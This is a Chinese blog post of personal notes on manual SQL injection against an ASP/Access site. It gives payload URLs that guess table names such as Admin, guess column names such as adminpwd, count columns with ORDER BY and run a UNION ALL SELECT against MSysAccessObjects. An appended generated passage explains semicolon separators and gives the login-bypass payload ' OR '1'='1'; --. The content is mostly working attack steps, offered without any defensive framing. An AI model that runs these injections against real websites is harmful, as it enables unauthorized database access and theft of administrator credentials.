sql注入,手动猜表名字段名

本文介绍了一种通过SQL注入技术猜测数据库表名、字段名及表中字段数量的方法,包括验证表是否存在、字段是否存在及字段个数的探测过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

方法从网上看来的,记下来以后看。

1,猜表名:

abc.asp?id=12 and 0 <= (select COUNT(*) from [User])

错误结果显示米有User表。

 

abc.asp?id=12 and 0 <= (select COUNT(*) from [Admin])

加载。。。,说明存在表Admin。

 

2,猜字段名:

abc.asp?id=12 and 0 <= (select COUNT(id) from [Admin])

加载。。。,说明表Admin有字段id。

abc.asp?id=12 and 0 <= (select COUNT(password) from [Admin])

abc.asp?id=12 and 0 <= (select COUNT(adminpwd) from [Admin])

加载。。。,说明表Admin有字段adminpwd。

 

3,查看字段个数

abc.asp?id=12 order by 10 

加载

abc.asp?id=12 order by 20 

加载

abc.asp?id=12 order by 27 

加载

abc.asp?id=12 order by 28

说明表有27个字段

abc.asp?id=12 uNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,null,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%00

加载。。。。

 

### SQL 注入中的分隔符使用 在执行SQL注入攻击时,攻击者通常会利用输入字段来插入恶意的SQL语句。为了使这些额外的查询生效而不破坏原始查询结构,分隔符被用来结束原定的SQL命令并开始新的命令。 对于大多数关系型数据库管理系统(RDBMS),如MySQL、PostgreSQL以及Microsoft SQL Server,在SQL语句之间可以使用`;`作为标准的终止字符[^1]。这意味着如果存在可利用的地方,攻击者可以在该位置之后附加自己的逻辑达式或新指令: ```sql ' OR '1'='1'; -- ``` 上述例子展示了如何通过闭合预期字符串参数并将条件设置为总是真(`OR '1'='1`)的方式绕过认证机制;紧接着是以分号结尾以确保后续原有代码不会干扰到已插入部分的效果,并加上注释符号防止后面可能存在的任何合法查询引起错误。 然而值得注意的是不同类型的 RDBMS 对于多条命令的支持程度有所差异。例如,在某些情况下Web应用程序可能会调用预编译好的存储过程而不是直接运行传入的文本形式的SQL,这时即使成功加入了分号也未必能实现预期效果。 另外一种情况是在构建动态SQL的时候,开发者有时会在拼接过程中遗漏掉必要的转义处理从而留下安全隐患。此时虽然没有明显的语法边界可供利用,但是仍然可以通过精心构造的数据让服务器端解析出意料之外的行为模式。 总之,尽管`;`是最常见的用于分割多个独立操作的选择之一,但在实际应用环境中应当考虑更多因素才能有效实施此类技术手段。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值